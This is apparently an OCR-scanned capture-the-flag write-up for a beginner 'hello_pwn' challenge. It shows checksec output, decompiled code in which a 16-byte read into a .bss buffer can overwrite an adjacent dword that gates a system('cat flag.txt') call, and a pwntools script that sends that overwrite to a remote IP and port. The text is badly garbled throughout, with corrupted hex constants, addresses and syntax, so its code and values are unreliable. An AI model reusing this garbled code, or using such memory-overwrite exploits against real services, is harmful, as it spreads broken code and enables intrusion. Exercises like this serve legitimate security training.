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wxy@ubuntu: S checksec hello_pwn
[*] '/[fhomefwxy/Desktop/hello_pwn'

Arch: amd64-64-1ittle
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|_inte4 _ fastcall main(__inte4 al, char **a2, char **a3)
{
alarm(@x3Cu);
setbuf(stdout, OLL);
puts("~~ welcome to ctf ~~ ")
puts("lets get helloworld for bof");
read(@, &unk_6010668, ©x16ulLlL);
if ( dword_60106C == @x6E756161 )
sub_48e686();
return ©LL;

HZHunk_ 601068145 F:dword_60106CH /£ bss B H :

.bss:0000000000601068 unk_601068 db ?
.bss:0000000000601069 db ?
.bss:0000000000601686A db ?
.bss:0000000000601068B db ?

.bss:00000006000608166C dword_66166C dd ?
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sub40686 () Xk EE 1 Hflag:

int64 sub_400686()

{
system(“cat flag.txt");
return eLL;

}
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from pwn import#*

#a=process('./hello_pwn')

a=remote('111.198.29.45',"30332")

a.recvuntil("bof")

a.send("A"*4+p32(OX6E756161))

a.interactive()
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